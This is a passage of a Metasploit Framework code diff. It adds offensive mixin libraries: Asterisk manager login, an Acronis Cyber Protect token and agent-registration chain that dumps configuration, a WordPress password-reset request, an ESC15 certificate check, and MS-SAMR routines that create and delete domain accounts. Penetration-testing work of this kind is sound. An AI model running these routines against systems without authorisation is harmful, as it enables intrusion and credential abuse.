Vuln origin ignored, rationale: + # https://github.com/rapid7/metasploit-framework/pull/19817#issuecomment-2615656036 + # vuln.origin = opts[:origin] if opts[:origin] + # Merge the references if rids vuln.refs << (rids - vuln.refs) diff --git a/lib/msf/core/exploit/remote/asterisk.rb b/lib/msf/core/exploit/remote/asterisk.rb new file mode 100644 index 000000000000..367f86bf09e3 --- /dev/null +++ b/lib/msf/core/exploit/remote/asterisk.rb @@ -0,0 +1,126 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::Asterisk + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super + + register_options( + [ + Opt::RPORT(5038), + OptString.new('USERNAME', [true, 'The username for Asterisk Access', '']), + OptString.new('PASSWORD', [true, 'The password for the specified username', '']), + ], self.class + ) + end + + # + # Handler for sending AMI commands + # + # @param cmd [String] command to send + # + # @return [String] response from the server + def send_command(cmd = '') + sock.put cmd + + res = '' + timeout = 15 + Timeout.timeout(timeout) do + res << sock.get_once while res !~ /\r?\n\r?\n/ + end + + res + rescue Timeout::Error + print_error "Timeout (#{timeout} seconds)" + rescue StandardError => e + print_error e.message + end + + # + # Attempt to get the asterisk version number + # + # + # @return [Gem::Version] version response from the server. False on error + def get_asterisk_version + vprint_status 'Checking Asterisk version' + + req = "action: command\r\n" + req << "command: core show version\r\n" + req << "\r\n" + res = send_command req + + return false if res =~ /Response: Error/ + + # example output + # Response: Success + # Message: Command output follows + # Output: Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC + + # https://rubular.com/r/e2LvocVBeKaiVo + if res =~ /^Output: Asterisk (.*?) built/ + return ::Regexp.last_match(1) + end + + false + end + + # + # Handler for logging in to AMI + # + # @param username [String] username of the user + # @param password [String] password of the user + # + # @return [Boolean] true on success, false on failure + def login(username, password) + vprint_status "Authenticating as '#{username}'" + + req = "action: login\r\n" + req << "username: #{username}\r\n" + req << "secret: #{password}\r\n" + req << "events: off\r\n" + req << "\r\n" + res = send_command req + + return false unless res =~ /Response: Success/ + + report_cred user: username, + password: password, + proof: 'Response: Success' + + report_service host: rhost, + port: rport, + proto: 'tcp', + name: 'asterisk' + true + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'asterisk_manager', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:username], + private_data: opts[:password], + private_type: :password + }.merge service_data + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge service_data + + create_credential_login login_data + end + end +end diff --git a/lib/msf/core/exploit/remote/http/acronis_cyber.rb b/lib/msf/core/exploit/remote/http/acronis_cyber.rb new file mode 100644 index 000000000000..56e7427dd27c --- /dev/null +++ b/lib/msf/core/exploit/remote/http/acronis_cyber.rb @@ -0,0 +1,148 @@ +# -*- coding: binary -*- + +# This mixin module provides provides a way of interacting with Acronis Cyber 15 and Backup 12.5 installations + +module Msf::Exploit::Remote::HTTP::AcronisCyber + include Msf::Exploit::Remote::HttpClient + + # get the first access_token + # @return [access_token, nil] returns first access_token or nil if not successful + def get_access_token1 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'password', + 'username' => nil, + 'password' => nil + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # register a dummy agent in Acronis Cyber Protect 12.5 and 15.0 + # @param [client_id] random generated uuid + # @param [access_token1] first access_token + # @return [client_secret, nil] returns client_secret or nil if not successful + def dummy_agent_registration(client_id, access_token1) + name = Rex::Text.rand_text_alphanumeric(5..8).downcase + post_data = { + client_id: client_id.to_s, + data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true }, + tenant_id: nil, + token_endpoint_auth_method: 'client_secret_basic', + type: 'agent' + }.to_json + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token1}" + }, + 'data' => post_data.to_s + }) + return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret') + + # parse json response and return client_secret + res_json = res.get_json_document + return if res_json.blank? + + res_json['client_secret'] + end + + # get second access_token which is valid for 30 days + # @param [client_id] random generated uuid + # @param [client_secret] client_secret retrieved from a successful agent registration + # @return [access_token, nil] returns first access_token or nil if not successful + def get_access_token2(client_id, client_secret) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'client_credentials', + 'client_id' => client_id.to_s, + 'client_secret' => client_secret.to_s + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # returns version information + # @param [access_token2] second access_token + # @return [version, nil] returns version or nil if not successful + def get_version_info(access_token2) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + } + }) + return unless res&.code == 200 + return unless res.body.include?('backendVersion') + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json['backendVersion'] + end + + # return all configured items in json format + # @param [access_token2] second access_token + # @return [res_json, nil] returns machine info in json format or nil if not successful + def get_machine_info(access_token2) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), + 'ctype' => 'application/json', + 'keep_cookies' => true, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + }, + 'vars_get' => { + 'embed' => 'details' + } + }) + return unless res&.code == 200 + return unless res.body.include?('items') || res.body.include?('data') + + if datastore['OUTPUT'] == 'json' + loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') + print_good("Configuration details are successfully saved in json format to #{loot_path}") + end + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json + end +end diff --git a/lib/msf/core/exploit/remote/http/wordpress/users.rb b/lib/msf/core/exploit/remote/http/wordpress/users.rb index 75180356aed7..6b28f2524641 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/users.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/users.rb @@ -63,4 +63,19 @@ def wordpress_userid_exists?(user_id) end end + # Performs a password reset for a user + # + # @param user [String] Username + # @return [Boolean] true if the request was successful + def reset_user_password(user) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => wordpress_url_login, + 'vars_get' => { 'action' => 'lostpassword' }, + 'vars_post' => { 'user_login' => user, 'redirect_to' => '', 'wp-submit' => 'Get New Password' } + }) + return false unless res&.code == 200 + + true + end end diff --git a/lib/msf/core/exploit/remote/http_client.rb b/lib/msf/core/exploit/remote/http_client.rb index 4d578e6b85f7..9851e7d074cc 100644 --- a/lib/msf/core/exploit/remote/http_client.rb +++ b/lib/msf/core/exploit/remote/http_client.rb @@ -235,7 +235,8 @@ def connect(opts={}) # @raise [Rex::Proto::Http::WebSocket::WebSocketError] raises an exception if the connection fails # @return [Rex::Proto::Http::WebSocket::Interface] def connect_ws(opts={}, timeout = 20) - ws_key = Rex::Text.rand_text_alphanumeric(20) + # As per the spec (RFC6455 Section 11.3.1), a Sec-WebSocket-Key is a 16 byte value that has been Base64 encoded. + ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16)) opts['headers'] = opts.fetch('headers', {}).merge({ 'Connection' => 'Upgrade', 'Upgrade' => 'WebSocket', @@ -499,7 +500,11 @@ def reconfig_redirect_opts!(res, opts) end # Don't forget any GET parameters - opts['query'] ||= location.query if location.query + if location.query + opts['query'] = location.query + else + opts['query'] = '' + end end # diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb index daef70e9fb63..a2c3a04742b3 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb @@ -1088,8 +1088,8 @@ def load_credential_from_file(file_path, options = {}) end unless !sname_hostname || - sname_hostname.to_s.downcase == credential.server.components[1] || - sname_hostname.to_s.downcase.ends_with?('.' + credential.server.components[1]) + sname_hostname.to_s.downcase == credential.server.components[1].downcase || + sname_hostname.to_s.downcase.ends_with?('.' + credential.server.components[1].downcase) wlog("Filtered credential #{file_path} ##{index} reason: SPN (#{sname_hostname}) hostname does not match (spn: #{credential.server.components.snapshot.join('/')})") next end diff --git a/lib/msf/core/exploit/remote/kerberos/ticket/storage/read_mixin.rb b/lib/msf/core/exploit/remote/kerberos/ticket/storage/read_mixin.rb index f88f43520e86..370da77065da 100644 --- a/lib/msf/core/exploit/remote/kerberos/ticket/storage/read_mixin.rb +++ b/lib/msf/core/exploit/remote/kerberos/ticket/storage/read_mixin.rb @@ -9,6 +9,8 @@ def load_credential(options = {}) available_tickets = tickets(options).select do |ticket| !ticket.expired?(now) end + return unless available_tickets.any? + if options[:offered_etypes].present? # Prefer etypes mentioned first options[:offered_etypes].each do |etype| diff --git a/lib/msf/core/exploit/remote/ldap.rb b/lib/msf/core/exploit/remote/ldap.rb index 216ea212f9b5..cdae87130be6 100644 --- a/lib/msf/core/exploit/remote/ldap.rb +++ b/lib/msf/core/exploit/remote/ldap.rb @@ -285,6 +285,8 @@ def validate_query_result!(query_result, filter=nil) fail_with(Msf::Module::Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.') when 18 fail_with(Msf::Module::Failure::BadConfig, 'The LDAP search failed because some matching is not supported for the target attribute type!') + when 19 + fail_with(Msf::Module::Failure::BadConfig, 'A constraint on the operation was not satisfied') when 32 fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP search failed because the operation targeted an entity within the base DN that does not exist.') when 33 diff --git a/lib/msf/core/exploit/remote/ms_icpr.rb b/lib/msf/core/exploit/remote/ms_icpr.rb index 4510c54d94c0..4f405cde6083 100644 --- a/lib/msf/core/exploit/remote/ms_icpr.rb +++ b/lib/msf/core/exploit/remote/ms_icpr.rb @@ -5,7 +5,9 @@ # # -*- coding: binary -*- +require 'windows_error' require 'windows_error/h_result' +require 'rex/proto/x509/request' module Msf @@ -194,6 +196,19 @@ def do_request_cert(icpr, opts) return unless response[:certificate] + policy_oids = get_cert_policy_oids(response[:certificate]) + if application_policies.present? && !(application_policies - policy_oids.map(&:value)).empty? + print_error('Certificate application policy OIDs were submitted, but some are missing in the response. This indicates the target has received the patch for ESC15 (CVE-2024-49019) or the template is not vulnerable.') + return + end + + if policy_oids + print_status('Certificate Policies:') + policy_oids.each do |oid| + print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : '')) + end + end + unless (dns = get_cert_san_dns(response[:certificate])).empty? print_status("Certificate DNS: #{dns.join(', ')}") end @@ -210,13 +225,6 @@ def do_request_cert(icpr, opts) print_status("Certificate UPN: #{upn.join(', ')}") end - unless (policy_oids = get_cert_policy_oids(response[:certificate])).empty? - print_status("Certificate Policies:") - policy_oids.each do |oid| - print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : '')) - end - end - pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate]) # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate" @@ -255,48 +263,40 @@ def do_request_cert(icpr, opts) # @param [Array] application_policies OIDs to add as application policies. # @return [OpenSSL::X509::Request] The request object. def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) - request = OpenSSL::X509::Request.new - request.version = 1 - request.subject = OpenSSL::X509::Name.new([ - ['CN', cn, OpenSSL::ASN1::UTF8STRING] - ]) - request.public_key = private_key.public_key - - extensions = [] - - subject_alt_names = [] - subject_alt_names << "DNS:#{dns}" if dns - subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn - unless subject_alt_names.empty? - extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false) - end - - if msext_sid - ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: { - type_id: OID_NTDS_OBJECTSID, - value: msext_sid - }) - extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false) - end + Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request| + extensions = [] + + subject_alt_names = [] + subject_alt_names << "DNS:#{dns}" if dns + subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn + unless subject_alt_names.empty? + extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false) + end - unless application_policies.blank? - application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new( - certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) } - ) - extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false) - end + if msext_sid + ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: { + type_id: OID_NTDS_OBJECTSID, + value: msext_sid + }) + extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false) + end - unless extensions.empty? - request.add_attribute(OpenSSL::X509::Attribute.new( - 'extReq', - OpenSSL::ASN1::Set.new( - [OpenSSL::ASN1::Sequence.new(extensions)] + unless application_policies.blank? + application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new( + certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) } ) - )) - end + extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false) + end - request.sign(private_key, OpenSSL::Digest.new(algorithm)) - request + unless extensions.empty? + request.add_attribute(OpenSSL::X509::Attribute.new( + 'extReq', + OpenSSL::ASN1::Set.new( + [OpenSSL::ASN1::Sequence.new(extensions)] + ) + )) + end + end end # Make a certificate request on behalf of another user. diff --git a/lib/msf/core/exploit/remote/ms_samr/account.rb b/lib/msf/core/exploit/remote/ms_samr/account.rb new file mode 100644 index 000000000000..31fcd200bb5f --- /dev/null +++ b/lib/msf/core/exploit/remote/ms_samr/account.rb @@ -0,0 +1,225 @@ +### +# +# This mixin provides methods to add, delete and lookup accounts via MS-SAMR +# +# -*- coding: binary -*- + +module Msf + +module Exploit::Remote::MsSamr::Account + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::MsSamr + + AccountInfo = Struct.new(:name, :password) + + def initialize(info = {}) + super + + register_options([ + OptString.new('ACCOUNT_NAME', [ false, 'The account name' ]), + OptString.new('ACCOUNT_PASSWORD', [ false, 'The password for the new account' ]), + ], Msf::Exploit::Remote::MsSamr) + end + + def generate_unused_computer_name(samr_con) + computer_name = random_hostname + 4.downto(0) do |attempt| + break if samr_con.samr.samr_lookup_names_in_domain( + domain_handle: samr_con.domain_handle, + names: [ computer_name ] + ).nil? + + computer_name = random_hostname + raise MsSamrBadConfigError, 'Could not find an unused computer name.' if attempt == 0 + end + + computer_name + end + + def validate_name_doesnt_exist(samr_con, name) + if samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ name ]) + raise MsSamrBadConfigError, 'The specified name already exists.' + end + end + + # Add a new account (computer or user) + # @param account_type [Symbol] The type (:computer or :user) of account to create + def add_account(account_type, opts = {}) + raise MsSamrBadConfigError, 'Must specify computer or user account' unless [:computer, :user].include?(account_type) + + tree = opts[:tree] || connect_ipc + + samr_con = connect_samr(tree) + + account_name = opts[:account_name] || datastore['ACCOUNT_NAME'] + if account_name.blank? + if account_type == :computer + account_name = generate_unused_computer_name(samr_con) + else + raise MsSamrBadConfigError, 'Must provide a user name' + end + else + validate_name_doesnt_exist(samr_con, account_name) + end + + account_password = opts[:account_password] || datastore['ACCOUNT_PASSWORD'] + if account_password.blank? + account_password = Rex::Text.rand_text_alphanumeric(32) + end + + uac = account_type == :computer ? RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT : RubySMB::Dcerpc::Samr::USER_NORMAL_ACCOUNT + + result = samr_con.samr.samr_create_user2_in_domain( + domain_handle: samr_con.domain_handle, + name: account_name, + account_type: uac, + desired_access: RubySMB::Dcerpc::Samr::USER_FORCE_PASSWORD_CHANGE | RubySMB::Dcerpc::Samr::MAXIMUM_ALLOWED + ) + + user_handle = result[:user_handle] + password_expired = (account_type == :computer) ? 1 : 0 + user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new( + tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW, + member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new( + i1: { + password_expired: password_expired, + which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED, + }, + user_password: { + buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password( + account_password, + @simple.client.application_key + ) + } + ) + ) + samr_con.samr.samr_set_information_user2( + user_handle: user_handle, + user_info: user_info + ) + + user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new( + tag: RubySMB::Dcerpc::Samr::USER_CONTROL_INFORMATION, + member: RubySMB::Dcerpc::Samr::UserControlInformation.new( + user_account_control: uac + ) + ) + samr_con.samr.samr_set_information_user2( + user_handle: user_handle, + user_info: user_info + ) + print_good("Successfully created #{samr_con.domain_name}\\#{account_name}") + print_good(" Password: #{account_password}") + print_good(" SID: #{get_account_sid(samr_con, account_name)}") + report_creds(samr_con.domain_name, account_name, account_password) + + AccountInfo.new(account_name, account_password) + rescue RubySMB::Dcerpc::Error::SamrError => e + raise MsSamrUnknownError, "A DCERPC SAMR error occurred: #{e.message}" + ensure + if samr_con + samr_con.samr.close_handle(user_handle) if user_handle + samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle + samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle + end + end + + def delete_account(opts = {}) + tree = opts[:tree] || connect_ipc + + samr_con = connect_samr(tree) + + account_name = opts[:account_name] || datastore['ACCOUNT_NAME'] + if account_name.blank? + raise MsSamrBadConfigError, 'Unable to delete the account since its name is unknown' + end + + details = samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ account_name ]) + raise MsSamrBadConfigError, 'The specified account was not found.' if details.nil? + details = details[account_name] + + user_handle = samr_con.samr.samr_open_user(domain_handle: samr_con.domain_handle, user_id: details[:rid]) + samr_con.samr.samr_delete_user(user_handle: user_handle) + print_good('The specified account has been deleted.') + rescue RubySMB::Dcerpc::Error::SamrError => e + # `user_handle` only needs to be closed if an error occurs in `samr_delete_user` + # If this method succeed, the server took care of closing the handle + samr_con.samr.close_handle(user_handle) if user_handle + raise MsSamrUnknownError, "Could not delete the account #{account_name}: #{e.message}" + ensure + if samr_con + samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle + samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle + end + end + + def lookup_account(opts = {}) + tree = opts[:tree] || connect_ipc + + samr_con = connect_samr(tree) + + account_name = opts[:account_name] || datastore['ACCOUNT_NAME'] + if account_name.blank? + raise MsSamrBadConfigError, 'Unable to lookup the account since its name is unknown' + end + + sid = get_account_sid(samr_con, account_name) + print_good("Found #{samr_con.domain_name}\\#{account_name} (SID: #{sid})") + ensure + if samr_con + samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle + samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle + end + end + + module_function + + def random_hostname(prefix: 'DESKTOP') + "#{prefix}-#{Rex::Text.rand_base(8, '', ('A'..'Z').to_a + ('0'..'9').to_a)}$" + end + + def get_account_sid(samr_con, account_name) + details = samr_con.samr.samr_lookup_names_in_domain( + domain_handle: samr_con.domain_handle, + names: [ account_name ] + ) + raise MsSamrNotFoundError, 'The account was not found.' if details.nil? + + details = details[account_name] + samr_con.samr.samr_rid_to_sid( + object_handle: samr_con.domain_handle, + rid: details[:rid] + ).to_s + end + + def report_creds(domain, username, password) + service_data = { + address: rhost, + port: rport, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + origin_type: :service, + private_data: password, + private_type: :password, + username: username, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: domain + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end +end +end diff --git a/lib/msf/core/exploit/remote/ms_samr/computer.rb b/lib/msf/core/exploit/remote/ms_samr/computer.rb deleted file mode 100644 index a278bbd5f421..000000000000 --- a/lib/msf/core/exploit/remote/ms_samr/computer.rb +++ /dev/null @@ -1,203 +0,0 @@ -### -# -# This mixin provides methods to add, delete and lookup computer accounts via MS-SAMR -# -# -*- coding: binary -*- - -module Msf - -module Exploit::Remote::MsSamr::Computer - - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::MsSamr - - ComputerInfo = Struct.new(:name, :password) - - def initialize(info = {}) - super - - register_options([ - OptString.new('COMPUTER_NAME', [ false, 'The computer name' ]), - OptString.new('COMPUTER_PASSWORD', [ false, 'The password for the new computer' ]), - ], Msf::Exploit::Remote::MsSamr) - end - - def add_computer(opts = {}) - tree = opts[:tree] || connect_ipc - - samr_con = connect_samr(tree) - - computer_name = opts[:computer_name] || datastore['COMPUTER_NAME'] - if computer_name.blank? - computer_name = random_hostname - 4.downto(0) do |attempt| - break if samr_con.samr.samr_lookup_names_in_domain( - domain_handle: samr_con.domain_handle, - names: [ computer_name ] - ).nil? - - computer_name = random_hostname - raise MsSamrBadConfigError, 'Could not find an unused computer name.' if attempt == 0 - end - else - if samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ]) - raise MsSamrBadConfigError, 'The specified computer name already exists.' - end - end - - result = samr_con.samr.samr_create_user2_in_domain( - domain_handle: samr_con.domain_handle, - name: computer_name, - account_type: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT, - desired_access: RubySMB::Dcerpc::Samr::USER_FORCE_PASSWORD_CHANGE | RubySMB::Dcerpc::Samr::MAXIMUM_ALLOWED - ) - - user_handle = result[:user_handle] - computer_password = opts[:computer_password] || datastore['COMPUTER_PASSWORD'] - if computer_password.blank? - computer_password = Rex::Text.rand_text_alphanumeric(32) - else - computer_password = datastore['COMPUTER_PASSWORD'] - end - - user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new( - tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW, - member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new( - i1: { - password_expired: 1, - which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED - }, - user_password: { - buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password( - computer_password, - @simple.client.application_key - ) - } - ) - ) - samr_con.samr.samr_set_information_user2( - user_handle: user_handle, - user_info: user_info - ) - - user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new( - tag: RubySMB::Dcerpc::Samr::USER_CONTROL_INFORMATION, - member: RubySMB::Dcerpc::Samr::UserControlInformation.new( - user_account_control: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT - ) - ) - samr_con.samr.samr_set_information_user2( - user_handle: user_handle, - user_info: user_info - ) - print_good("Successfully created #{samr_con.domain_name}\\#{computer_name}") - print_good(" Password: #{computer_password}") - print_good(" SID: #{get_computer_sid(samr_con, computer_name)}") - report_creds(samr_con.domain_name, computer_name, computer_password) - - ComputerInfo.new(computer_name, computer_password) - - rescue RubySMB::Dcerpc::Error::SamrError => e - raise MsSamrUnknownError, "A DCERPC SAMR error occurred: #{e.message}" - ensure - if samr_con - samr_con.samr.close_handle(user_handle) if user_handle - samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle - samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle - end - end - - def delete_computer(opts = {}) - tree = opts[:tree] || connect_ipc - - samr_con = connect_samr(tree) - - computer_name = opts[:computer_name] || datastore['COMPUTER_NAME'] - if computer_name.blank? - raise MsSamrBadConfigError, 'Unable to delete the computer account since its name is unknown' - end - - details = samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ]) - raise MsSamrBadConfigError, 'The specified computer was not found.' if details.nil? - details = details[computer_name] - - user_handle = samr_con.samr.samr_open_user(domain_handle: samr_con.domain_handle, user_id: details[:rid]) - samr_con.samr.samr_delete_user(user_handle: user_handle) - print_good('The specified computer has been deleted.') - rescue RubySMB::Dcerpc::Error::SamrError => e - # `user_handle` only needs to be closed if an error occurs in `samr_delete_user` - # If this method succeed, the server took care of closing the handle - samr_con.samr.close_handle(user_handle) if user_handle - raise MsSamrUnknownError, "Could not delete the computer #{computer_name}: #{e.message}" - ensure - samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle - samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle - end - - def lookup_computer(opts = {}) - tree = opts[:tree] || connect_ipc - - samr_con = connect_samr(tree) - - computer_name = opts[:computer_name] || datastore['COMPUTER_NAME'] - if computer_name.blank? - raise MsSamrBadConfigError, 'Unable to lookup the computer account since its name is unknown' - end - - sid = get_computer_sid(samr_con, computer_name) - print_good("Found #{samr_con.domain_name}\\#{computer_name} (SID: #{sid})") - ensure - samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle - samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle - end - - module_function - - def random_hostname(prefix: 'DESKTOP') - "#{prefix}-#{Rex::Text.rand_base(8, '', ('A'..'Z').to_a + ('0'..'9').to_a)}$" - end - - def get_computer_sid(samr_con, computer_name) - details = samr_con.samr.samr_lookup_names_in_domain( - domain_handle: samr_con.domain_handle, - names: [ computer_name ] - ) - raise MsSamrNotFoundError, 'The computer was not found.' if details.nil? - - details = details[computer_name] - samr_con.samr.samr_rid_to_sid( - object_handle: samr_con.domain_handle, - rid: details[:rid] - ).to_s - end - - def report_creds(domain, username, password) - service_data = { - address: rhost, - port: rport, - service_name: 'smb', - protocol: 'tcp', - workspace_id: myworkspace_id - } - - credential_data = { - module_fullname: fullname, - origin_type: :service, - private_data: password, - private_type: :password, - username: username, - realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, - realm_value: domain - }.merge(service_data) - - credential_core = create_credential(credential_data) - - login_data = { - core: credential_core, - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) - - create_credential_login(login_data) - end -end -end diff --git a/lib/msf/core/exploit/remote/smb/client.rb b/lib/msf/core/exploit/remote/smb/client.rb index 25f41b2abcb6..0f1653d09c7f 100644 --- a/lib/msf/core/exploit/remote/smb/client.rb +++ b/lib/msf/core/exploit/remote/smb/client.rb @@ -149,10 +149,19 @@ def unicode(str) # You should call {#connect} before calling this # # @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use + # @param opts [Hash] Options to override the datastore options + # @option :username [String] Override SMBUser datastore option + # @option :domain [String] Override SMBDomain datastore option + # @option :password [String] Override SMBPass datastore option + # @option :auth_protocol [String] Override SMB::Auth datastore option # @return [void] - def smb_login(simple_client = self.simple) + def smb_login(simple_client = self.simple, opts: {}) + username = opts.fetch(:username) {datastore['SMBUser']} + domain = opts.fetch(:domain) {datastore['SMBDomain']} + password = opts.fetch(:password) {datastore['SMBPass']} + smb_auth = opts.fetch(:auth_protocol) {datastore['SMB::Auth']} # Override the default RubySMB capabilities with Kerberos authentication - if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS + if smb_auth == Msf::Exploit::Remote::AuthOption::KERBEROS fail_with(Msf::Exploit::Failure::BadConfig, 'The Smb::Rhostname option is required when using Kerberos authentication.') if datastore['Smb::Rhostname'].blank? fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank? offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Smb::KrbOfferedEncryptionTypes']) @@ -162,9 +171,9 @@ def smb_login(simple_client = self.simple) host: datastore['DomainControllerRhost'].blank? ? nil : datastore['DomainControllerRhost'], hostname: datastore['Smb::Rhostname'], proxies: datastore['Proxies'], - realm: datastore['SMBDomain'], - username: datastore['SMBUser'], - password: 